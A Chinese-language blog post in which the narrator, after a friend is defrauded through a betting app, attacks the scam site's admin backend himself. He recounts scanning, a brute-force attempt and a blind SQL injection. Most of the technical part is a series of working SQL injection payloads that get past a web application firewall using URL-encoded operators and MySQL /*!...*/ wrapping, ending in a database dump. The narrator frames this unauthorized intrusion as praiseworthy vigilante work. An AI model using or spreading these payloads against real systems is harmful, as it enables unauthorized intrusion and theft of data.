性感“注入”,在线“发牌”
前言
周末的清晨,我在模模糊糊的睡梦中被电话惊醒,发现好多未接视频,连忙的看了一下手机,发现我高中的大美女找我,难道是我的桃花运要来了?赶紧问问她找我干嘛。
看来是出事了,先问问她怎么回事把,虽然说她的诱惑力很大,但总的知道怎么回事吧
据朋友交代,他们是通过qq联系的,然后让他在一个啵菜APP上下注,下的注都是他们让下哪个就下哪个的,本来他也是抱着试试的心里,可是,前几天下注都很准,几乎全中,所以他就加大了本钱,在加本钱的时候就中的不怎么多了,有时候还会赔钱,可是那时候就想着下一把就赢回来了,就忍不住的跟下去,一来二去就把自己身上的所有钱就投进去了,变成了血本无归。
像这种非法的诈骗人人得而诛之,居然欺负到我身边的人身上了,为了防止地球被破坏,为了维护世界的和平,高大又帅气的我只能挺身而出了。
技术实战
通过和好友的交流,我得到了俩个有用的信息:
qq号:562xxxxxxx
啵菜APP:某啵菜
我看了一下对方qq,额,,,连空间都没有开通,一点有用的信息都没有。
在试试APP,抓包看看:
可以看到网址:xxx.xxx.com,打开之后是这个样子
先对目标收集一下信息,发现只开了80和443端口,是一个php 5.x的程序,没有识别出cms系统,等等信息。
不管那么多了,先扫一下看看有没有漏洞
居然没有,看看其他的信息,其中扫描目录的时候发现了网址的后台:Login.php
好家伙,连验证码都没有,先包爆破一些试试:
不纯在弱口令,自己随便提交试试:提交后url居然多了一个id,试试这个有没有注入
好吧,研究一下怎么绕过。
常见的绕狗方法
先判断是否存在注入
1' and 1=1--+ # 拦截 1' or 1=1--+ # 拦截 1' && 1--+ # 拦截 1' || 1--+ # 拦截 使用url对&&和||编码可以绕过拦截 1' %26%26 True--+ # 不拦截 1' %26%26 false--+ # 不拦截 1' %7c%7c True--+ # 不拦截 1' %7c%7c false--+ # 不拦截 通过下面这俩条语句基本可以判断出存在漏洞 1' %26%26 True--+ 1' %26%26 false--+
除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似。
下面来判断数据库的长度
1'%26%26 (length(database())=8)--+ # 拦截 '%26%26 (length(/*!database*/())=1)--+ # 不拦截 数据库的名称一样可以获取到 '%26%26 (ascii(substr((/*!database*/()),1,1))>64)--+
当语句中存在database()语句的时候就会拦截,所有要想办法对database()函数进行处理,在mysql中 /! ..../ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!..../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。可以尝试使用/! ..../,包含database(),构造成这样的语句,成功绕过,这里有回显,这就好弄,成功判断出数据库的长度为8
通过上面的方法获取用户名的长度为14
'%26%26 (length(/*!USER*/())=14)--+ # 不拦截
还有获取版本信息:' %26%26 (ascii(@@version)=53)--+
获取数据库的表数量,使用正常的语句一样会被拦截
' %26%26 (0<(select count(table_name) from information_schema.tables where table_schema=DBname))--+ # 拦截
其中count(table_name)这个函数造成了拦截,还用之前的方法,把count函数用/!../包起来,发现会报错,那把table_name用/!../包起来,就绕过了
' %26%26 (0<(select count(/*!table_name*/) from information_schema.tables where table_schema=DBname))--+
获取数据库的表名,这个语句拦截出在select xx from,一般出现select xx from都会被拦截,思路可以想上面的获取数量一样,使用一个函数将xx包起来,经过尝试发现可以绕过的语句
' %26%26 (0< substr(select table_name from information_schema.tables where table_schema='DBname' limit 0,1)) --+ # 拦截 ' %26%26 (0< ascii((select substr(/*!table_name*/,1,1) from information_schema.tables where table_schema=DBname limit 0,1))) --+ # 不拦截
取数据库的字段,和上面的思路同理
' %26%26 (0< ascii((select substr(/*!column_name*/,2,1) from information_schema.columns where table_schema = DBname %26%26 table_name = users LIMIT 1,1)))--+ # 不拦截
然后获取数据就没有什么难的了
' %26%26 (0<ascii(substr((SELECT group_concat(/*!username*/) FROM `DBname`.`users`),1,1))) --+ # 不拦截
居然语句整都整理好了,那就拿burp扫把,现在就查最后一步了,脱裤,如何脱就不说了,想研究的可以自己百度。
这么多数据,哎好多人被骗了,先提交给公安部门把。
最后
成功的约到美女了,在吃饭的时候她问了好多关于网络诈骗的问题,看来真的是害怕了,为了体现我的高大上,我就给你好好的讲一下吧
网络诈骗中最常见的就是短信诈骗,短信诈骗的内容也是日新月异,有说你中奖的,有说你购物有问题的,又说你有积分兑换的,有说让你下载软件的,各式各样,有些人看到了部分信息是自己的就觉得是自己,其实很多不法分子可以通过一些手段获取你的信息,还有像你一样觉得会天上掉馅饼,没有付出就有回报,这种是很容易被骗的,想要判断是不是骗局,首先要判断这种信息是不是官方发的,如果不确定可以打电话询问,要不简单的轻信,没有天上掉馅饼的好事,网络诈骗很多,需要自己去判断分析。